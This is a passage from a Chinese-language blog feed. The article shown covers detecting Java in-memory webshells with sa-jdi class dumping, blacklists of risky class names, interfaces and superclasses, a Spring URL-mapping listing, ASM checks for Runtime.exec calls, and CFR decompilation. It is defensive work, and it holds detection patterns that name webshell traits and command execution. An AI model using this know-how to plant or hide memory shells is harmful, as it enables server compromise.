kls.getName().asString();</span><br><span class="line"> <span class="comment">//类名黑名单判断</span></span><br><span class="line"><span class="keyword">if</span> (klassName.equals(<span class="string">"org/springframework/web/servlet/handler/AbstractHandlerMapping"</span>)){</span><br><span class="line">System.out.println(klassName);</span><br><span class="line"><span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">for</span> (String rp : riskPackage) {</span><br><span class="line"><span class="keyword">if</span> (klassName.startsWith(rp)){</span><br><span class="line">System.out.println(klassName);</span><br><span class="line"><span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"> <span class="comment">//接口黑名单</span></span><br><span class="line"><span class="type">KlassArray</span> <span class="variable">interfaces</span> <span class="operator">=</span> kls.getTransitiveInterfaces();</span><br><span class="line"><span class="type">int</span> <span class="variable">len</span> <span class="operator">=</span> interfaces.length();</span><br><span class="line"><span class="keyword">for</span>(<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i < len; ++i) {</span><br><span class="line"><span class="keyword">for</span>(String df: dginterfaces){</span><br><span class="line"><span class="keyword">if</span> (interfaces.getAt(i).getName().asString().equals(df)){</span><br><span class="line">System.out.println(klassName);</span><br><span class="line"><span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"> <span class="comment">//父类黑名单</span></span><br><span class="line"><span class="type">Klass</span> <span class="variable">spuperklass</span> <span class="operator">=</span> kls.getSuper();</span><br><span class="line"><span class="keyword">if</span> (spuperklass!=<span class="literal">null</span>){</span><br><span class="line"><span class="keyword">for</span> (String rsk:riskSuperClassesName) {</span><br><span class="line"><span class="keyword">if</span> (rsk.equals(spuperklass.getName().asString())){</span><br><span class="line">System.out.println(klassName);</span><br><span class="line"><span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>通过以上代码,我们对dump的类进行了筛选,针对不同的内存马类型,可以更改检测特征点来提高检测效率。</p><h3 id="4-类的筛选优化">4.类的筛选优化</h3><p>之前类的筛选是针对内存马类的一些特征点(<code>类名</code>、<code>父类名</code>、实现的<code>接口类名</code>)创建对应的黑名单,将符合要求的类dump下来,但有些内存马是不具备这些特点的。例如spring的<code>controller内存马</code>,<code>controller内存马</code>的实现实际上只需要向<code>RequestMappingHandlerMapping类对象</code>中注册对应的恶意类和恶意方法,对应恶意类不需要继承具体的其他类或者实现其他类的接口,这就使得controller内存马没有了对应的特征。</p><p>针对这一问题,我们将使用javaagent技术来获取具体的类名,由于controller内存马对于类没有具体的特征,但是要想实现恶意交互功能,势必要将对应的类注册到<code>RequestMappingHandlerMapping类对象</code>中,所以我们可以通过<code>RequestMappingHandlerMapping类对象</code>获取到要dump的类名。</p><p><a href="https://github.com/dk47os3r/SpringMemShell">SpringMemShell</a>这个项目中给出了一个mapping接口用于查看url到具体类名方法的映射关系</p><p>代码如下(原本只会输出patternsCondition路径,做了些改良加上了pathPatternsCondition相关路径):</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@RequestMapping("/mappings")</span></span><br><span class="line"><span class="meta">@ResponseBody</span></span><br><span class="line"><span class="keyword">public</span> String <span class="title function_">mappings</span><span class="params">()</span>{</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="type">WebApplicationContext</span> <span class="variable">context</span> <span class="operator">=</span> (WebApplicationContext) RequestContextHolder.currentRequestAttributes()</span><br><span class="line"> .getAttribute(<span class="string">"org.springframework.web.servlet.DispatcherServlet.CONTEXT"</span>, <span class="number">0</span>);</span><br><span class="line"> <span class="type">RequestMappingHandlerMapping</span> <span class="variable">rmhMapping</span> <span class="operator">=</span> context.getBean(RequestMappingHandlerMapping.class);</span><br><span class="line"> <span class="type">Field</span> <span class="variable">_mappingRegistry</span> <span class="operator">=</span> AbstractHandlerMethodMapping.class.getDeclaredField(<span class="string">"mappingRegistry"</span>);</span><br><span class="line"> _mappingRegistry.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">Object</span> <span class="variable">mappingRegistry</span> <span class="operator">=</span> _mappingRegistry.get(rmhMapping);</span><br><span class="line"></span><br><span class="line"> <span class="type">Field</span> <span class="variable">_registry</span> <span class="operator">=</span> mappingRegistry.getClass().getDeclaredField(<span class="string">"registry"</span>);</span><br><span class="line"> _registry.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> HashMap<Object,Object> registry = (HashMap<Object, Object>) _registry.get(mappingRegistry);</span><br><span class="line"></span><br><span class="line"> Class<?>[] tempArray = AbstractHandlerMethodMapping.class.getDeclaredClasses();</span><br><span class="line"> Class<?> mappingRegistrationClazz = <span class="literal">null</span>;</span><br><span class="line"> <span class="keyword">for</span> (Class<?> item : tempArray) {</span><br><span class="line"> <span class="keyword">if</span> (item.getName().equals(</span><br><span class="line"> <span class="string">"org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistration"</span></span><br><span class="line"> )) {</span><br><span class="line"> mappingRegistrationClazz = item;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="type">StringBuilder</span> <span class="variable">sb</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line"> sb.append(<span class="string">"<pre>"</span>);</span><br><span class="line"> sb.append(<span class="string">"| path |"</span>).append(<span class="string">"\t"</span>).append(<span class="string">"\t"</span>).append(<span class="string">"| info |"</span>).append(<span class="string">"\n"</span>);</span><br><span class="line"> <span class="keyword">for</span>(Map.Entry<Object,Object> entry:registry.entrySet()){</span><br><span class="line"> sb.append(<span class="string">"--------------------------------------------"</span>);</span><br><span class="line"> sb.append(<span class="string">"\n"</span>);</span><br><span class="line"> <span class="type">RequestMappingInfo</span> <span class="variable">key</span> <span class="operator">=</span> (RequestMappingInfo) entry.getKey();</span><br><span class="line"> <span class="keyword">if</span> (key.getPatternsCondition()!=<span class="literal">null</span>){</span><br><span class="line"> List<String> tempList = <span class="keyword">new</span> <span class="title class_">ArrayList</span><>(key.getPatternsCondition().getPatterns());</span><br><span class="line"> sb.append(tempList.get(<span class="number">0</span>)).append(<span class="string">"\t"</span>).append(<span class="string">"-->"</span>).append(<span class="string">"\t"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (key.getPathPatternsCondition()!=<span class="literal">null</span>){</span><br><span class="line"> List<PathPattern> tempList = <span class="keyword">new</span> <span class="title class_">ArrayList</span><>(key.getPathPatternsCondition().getPatterns());</span><br><span class="line"> sb.append(tempList.get(<span class="number">0</span>).toString()).append(<span class="string">"\t"</span>).append(<span class="string">"-->"</span>).append(<span class="string">"\t"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="type">Field</span> <span class="variable">_handlerMethod</span> <span class="operator">=</span> mappingRegistrationClazz.getDeclaredField(<span class="string">"handlerMethod"</span>);</span><br><span class="line"> _handlerMethod.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">HandlerMethod</span> <span class="variable">handlerMethod</span> <span class="operator">=</span> (HandlerMethod) _handlerMethod.get(entry.getValue());</span><br><span class="line"></span><br><span class="line"> <span class="type">Field</span> <span class="variable">_desc</span> <span class="operator">=</span> handlerMethod.getClass().getDeclaredField(<span class="string">"description"</span>);</span><br><span class="line"> _desc.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">String</span> <span class="variable">desc</span> <span class="operator">=</span> (String) _desc.get(handlerMethod);</span><br><span class="line"> sb.append(desc);</span><br><span class="line"> sb.append(<span class="string">"\n"</span>);</span><br><span class="line"> }</span><br><span class="line"> sb.append(<span class="string">"</pre>"</span>);</span><br><span class="line"> <span class="keyword">return</span> sb.toString();</span><br><span class="line"> }<span class="keyword">catch</span> (Exception e){</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="string">""</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>访问效果:</p><p><img src="image-20240819140031977.png" alt="image-20240819140031977"></p><h3 id="5-sa-jdi-VS-javaagent">5.sa-jdi VS javaagent</h3><p>要从一个jvm中dump一个类下来有两种的方法,一种是通过上述所提到的通过jdi工具dump,另一种则是常用的通过Javaagent进行dump,两种方式体验下来主要有以下不同点:</p><p>1.兼容性,测试发现使用<code>jdk1.8.65</code>的sa-jdi是无法从<code>jdk1.8.71</code>环境的tomcat项目中dump类的,只能在同jdk版本项目中获取类的字节码,而javaagent则可以在不同的jdk版本下使用,也就意味着如果在其他jdk环境使用sa-jdi,则需要将检测工具进行对应jdk版本的重新编译。</p><p>2.类的类型,Javaagent获取类是通过<code>Instrumentation</code>的<code>getAllLoadedClasses()</code>方法获取到一个<code>Class</code>数组,而jdi获取到的是<code>InstanceKlass</code>类(<code>InstanceKlass </code>是JVM中的概念,用来表示普通 Java 类的实例的元数据),两种类的类型不同意味着在对类进行筛选的时候方法和角度也会不一样(例如Class类可以通过<code>getInterfaces()</code>获取到接口类,而<code>InstanceKlass </code>中没有对应的方法获取)。</p><p>3.dump下来的字节码,在<a href="https://xz.aliyun.com/t/13110">Agent 内存马的攻防之道</a>中提到对于已有字节码缓存(attach过且transformer返回值不为null)的情况,攻击者通过<code>redefineClasses</code>进行攻击以后,通过javaagent检测时无法检测到关键类被修改,同时会进行关键类的回滚,而jdi是直接从JVM中获取类字节码,所得到的就是当前类真实的字节码,不会被攻击者影响。</p><p>两种方式各有优劣,就准确度而言jdi明显好于javaagent,但兼容来看javaagent更胜一筹。</p><h2 id="基于ASM进行分析">基于ASM进行分析</h2><p><a href="https://asm.ow2.io/javadoc/index.html">ASM</a> 是一种通用 Java 字节码操作和分析框架。它可以用于修改现有的 class 文件或动态生成 class 文件。</p><p>在pom.xml中导入最新的ASM</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"><!-- https://mvnrepository.com/artifact/org.ow2.asm/asm --></span></span><br><span class="line"><span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"><span class="tag"><<span class="name">groupId</span>></span>org.ow2.asm<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"><span class="tag"><<span class="name">artifactId</span>></span>asm<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"><span class="tag"><<span class="name">version</span>></span>9.7<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"><span class="tag"></<span class="name">dependency</span>></span></span><br></pre></td></tr></table></figure><p>ASM的基本使用:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.objectweb.asm.*;</span><br><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.io.FileInputStream;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">ClassPrinter</span> <span class="keyword">extends</span> <span class="title class_">ClassVisitor</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">ClassPrinter</span><span class="params">()</span> {</span><br><span class="line"> <span class="built_in">super</span>(Opcodes.ASM7);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//访问类的基本结构,如类名、访问修饰符、父类和接口</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">visit</span><span class="params">(<span class="type">int</span> version, <span class="type">int</span> access, String name, String signature, String superName, String[] interfaces)</span> {</span><br><span class="line"> System.out.println(name + <span class="string">" extends "</span> + superName + <span class="string">" {"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//访问类的源文件信息</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">visitSource</span><span class="params">(String source, String debug)</span> {</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//访问当前类是另一个类的成员类的情况</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">visitOuterClass</span><span class="params">(String owner, String name, String desc)</span> {</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//访问类级别的注解</span></span><br><span class="line"> <span class="keyword">public</span> AnnotationVisitor <span class="title function_">visitAnnotation</span><span class="params">(String desc, <span class="type">boolean</span> visible)</span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//访问类级别的其他属性</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">visitAttribute</span><span class="params">(Attribute attr)</span> {</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//访问内部类信息</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">visitInnerClass</span><span class="params">(String name, String outerName, String innerName, <span class="type">int</span> access)</span> {</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//访问类的字段(属性)</span></span><br><span class="line"> <span class="keyword">public</span> FieldVisitor <span class="title function_">visitField</span><span class="params">(<span class="type">int</span> access, String name, String desc, String signature, Object value)</span> {</span><br><span class="line"> System.out.println(<span class="string">" "</span> + desc + <span class="string">" "</span> + name);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//访问类的方法</span></span><br><span class="line"> <span class="keyword">public</span> MethodVisitor <span class="title function_">visitMethod</span><span class="params">(<span class="type">int</span> access, String name, String desc, String signature, String[] exceptions)</span> {</span><br><span class="line"> System.out.println(<span class="string">" "</span> + name + desc);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//表示类的访问结束</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">visitEnd</span><span class="params">()</span> {</span><br><span class="line"> System.out.println(<span class="string">"}"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Analysis</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">doAnalysis</span> <span class="params">(String classpath)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="type">File</span> <span class="variable">classFile</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(classpath);</span><br><span class="line"> <span class="type">ClassReader</span> <span class="variable">cr</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ClassReader</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(classFile));</span><br><span class="line"> <span class="type">ClassPrinter</span> <span class="variable">cp</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ClassPrinter</span>();</span><br><span class="line"> cr.accept(cp, ClassReader.SKIP_DEBUG);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>上述代码会获取类名以及父类信息,以及类中含有的属性和方法名</p><p>输出:</p><p><img src="image-20240813161124161.png" alt="image-20240813161124161"></p><p>被分析类的原始代码:</p><p><img src="image-20240813161153577.png" alt="image-20240813161153577"></p><h3 id="Runtime-getRuntime-exec-检测">Runtime.getRuntime().exec()检测</h3><p>首先通过<code>MethodVisitor</code>类的<code>visitMethodInsn</code>方法可以获取分析的类方法中所调用的类方法</p><p>在<code>visitMethod</code>方法中先调用父类的<code>visitMethod</code>方法,然后返回一个<code>MethodVisitor</code>类,<code>MethodVisitor</code>类中的<code>visitMethodInsn</code>方法将会获取到对应的类方法和参数类。</p><p>例子:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">ExecClassVisitor</span> <span class="keyword">extends</span> <span class="title class_">ClassVisitor</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">ExecClassVisitor</span><span class="params">(<span class="type">int</span> api)</span> {</span><br><span class="line"> <span class="built_in">super</span>(api);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> MethodVisitor <span class="title function_">visitMethod</span><span class="params">(<span class="type">int</span> access, String name, String desc, String signature, String[] exceptions)</span> {</span><br><span class="line"> System.out.println(name + desc);</span><br><span class="line"> <span class="built_in">super</span>.visitMethod(access, name, desc, signature, exceptions);<span class="comment">//先调用父类的visitMethod方法</span></span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">ExecMethodVisitor</span>(<span class="built_in">this</span>.api);<span class="comment">//返回一个MethodVisitor类,会触发这个类中的visitMethodInsn方法</span></span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">ExecMethodVisitor</span> <span class="keyword">extends</span> <span class="title class_">MethodVisitor</span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">ExecMethodVisitor</span><span class="params">(<span class="type">int</span> api)</span> {</span><br><span class="line"> <span class="built_in">super</span>(api);</span><br><span class="line"> }</span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">visitMethodInsn</span><span class="params">(<span class="type">int</span> opcode, String owner, String name, String descriptor, <span class="type">boolean</span> isInterface)</span>{</span><br><span class="line"> System.out.println(<span class="string">"owner:"</span>+owner+<span class="string">" name:"</span>+name+<span class="string">" descriptor:"</span>+descriptor); <span class="comment">//输出类方法和参数类</span></span><br><span class="line"> <span class="built_in">super</span>.visitMethodInsn(opcode, owner, name, descriptor, isInterface);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>输出:</p><p><img src="image-20240813184127266.png" alt="image-20240813184127266"></p><p>可以看到在dofilter方法中使用了java.io.PrintStream类的println方法和javax.servlet.FilterChain类的doFilter方法。</p><p>通过这种方法我们就可以来判断class文件中是否有使用<code>Runtime.getRuntime().exec()</code>方法,代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">ExecClassVisitor</span> <span class="keyword">extends</span> <span class="title class_">ClassVisitor</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">ExecClassVisitor</span><span class="params">(<span class="type">int</span> api)</span> {</span><br><span class="line"> <span class="built_in">super</span>(api);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> MethodVisitor <span class="title function_">visitMethod</span><span class="params">(<span class="type">int</span> access, String name, String desc, String signature, String[] exceptions)</span> {</span><br><span class="line"> <span class="built_in">super</span>.visitMethod(access, name, desc, signature, exceptions);</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">ExecMethodVisitor</span>(<span class="built_in">this</span>.api);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">ExecMethodVisitor</span> <span class="keyword">extends</span> <span class="title class_">MethodVisitor</span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">ExecMethodVisitor</span><span class="params">(<span class="type">int</span> api)</span> {</span><br><span class="line"> <span class="built_in">super</span>(api);</span><br><span class="line"> }</span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">visitMethodInsn</span><span class="params">(<span class="type">int</span> opcode, String owner, String name, String descriptor, <span class="type">boolean</span> isInterface)</span>{</span><br><span class="line"> <span class="type">boolean</span> <span class="variable">runtimeCondition</span> <span class="operator">=</span> owner.equals(<span class="string">"java/lang/Runtime"</span>) && name.equals(<span class="string">"exec"</span>) && descriptor.equals(<span class="string">"([Ljava/lang/String;)Ljava/lang/Process;"</span>);<span class="comment">//判断是否调用了Runtime.getRuntime().exec()</span></span><br><span class="line"> <span class="keyword">if</span> (runtimeCondition) {</span><br><span class="line"> System.out.println(<span class="string">"owner:"</span>+owner+<span class="string">" name:"</span>+name+<span class="string">" descriptor:"</span>+descriptor);</span><br><span class="line"> System.out.println(<span class="string">"The class has used Runtime.getRuntime().exec()"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">super</span>.visitMethodInsn(opcode, owner, name, descriptor, isInterface);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="反编译分析">反编译分析</h2><p>除了通过ASM直接分析class文件以外,还可以通过CFR将class反编译以后进行分析</p><p>在pom.xml中添加依赖</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"><!-- https://mvnrepository.com/artifact/org.benf/cfr --></span></span><br><span class="line"><span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>org.benf<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>cfr<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>0.152<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"><span class="tag"></<span class="name">dependency</span>></span></span><br></pre></td></tr></table></figure><p>反编译代码:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.benf.cfr.reader.api.CfrDriver;</span><br><span class="line"><span class="keyword">import</span> org.benf.cfr.reader.util.getopt.OptionsImpl;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.util.ArrayList;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CFRer</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> Long <span class="title function_">cfr</span><span class="params">(String source, String targetPath)</span> <span class="keyword">throws</span> IOException {</span><br><span class="line"> <span class="type">Long</span> <span class="variable">start</span> <span class="operator">=</span> System.currentTimeMillis();</span><br><span class="line"> <span class="comment">// source jar</span></span><br><span class="line"> List<String> files = <span class="keyword">new</span> <span class="title class_">ArrayList</span><>();</span><br><span class="line"> files.add(source);</span><br><span class="line"> <span class="comment">// target dir</span></span><br><span class="line"> HashMap<String, String> outputMap = <span class="keyword">new</span> <span class="title class_">HashMap</span><>();</span><br><span class="line"> outputMap.put(<span class="string">"outputdir"</span>, targetPath);</span><br><span class="line"></span><br><span class="line"> <span class="type">OptionsImpl</span> <span class="variable">options</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">OptionsImpl</span>(outputMap);</span><br><span class="line"> <span class="type">CfrDriver</span> <span class="variable">cfrDriver</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CfrDriver</span>.Builder().withBuiltOptions(options).build();</span><br><span class="line"> cfrDriver.analyse(files);</span><br><span class="line"> <span class="type">Long</span> <span class="variable">end</span> <span class="operator">=</span> System.currentTimeMillis();</span><br><span class="line"> <span class="keyword">return</span> end - start;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>通过判断反编译java文件中的字符串,也可以获取作为判断内存马的一种方法。</p><p>参考:</p><p><a href="https://hengyun.tech/dumpclass/">从java进程里dump出类的class文件的小工具–dumpclass</a></p><p><a href="https://xz.aliyun.com/t/13110">Agent 内存马的攻防之道</a></p><p><a href="https://github.com/LandGrey/copagent/">https://github.com/LandGrey/copagent/</a></p><p><a href="https://github.com/geekmc/FindShell">https://github.com/geekmc/FindShell</a></p>]]></content>
<summary type="html"><h1 id="java内存马检测">java内存马检测</h1>
<p>核心思路:</p>
<p>1.利用<code>JDK</code>提供的<code>sa-jdi</code>的<code>API</code>基于黑名单<code>dump</code>存在于<code></summary>
<category term="技术" scheme="http://example.com/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="内存马" scheme="http://example.com/tags/%E5%86%85%E5%AD%98%E9%A9%AC/"/>
</entry>
<entry>
<title>PythonFlask内存马的另辟途径</title>
<link href="http://example.com/post/2024/PythonFlask%E5%86%85%E5%AD%98%E9%A9%AC%E7%9A%84%E5%8F%A6%E8%BE%9F%E9%80%94%E5%BE%84/"/>
<id>http://example.com/post/2024/PythonFlask%E5%86%85%E5%AD%98%E9%A9%AC%E7%9A%84%E5%8F%A6%E8%BE%9F%E9%80%94%E5%BE%84/</id>
<published>2024-05-06T03:13:37.000Z</published>
<updated>2024-08-21T08:24:27.739Z</updated>
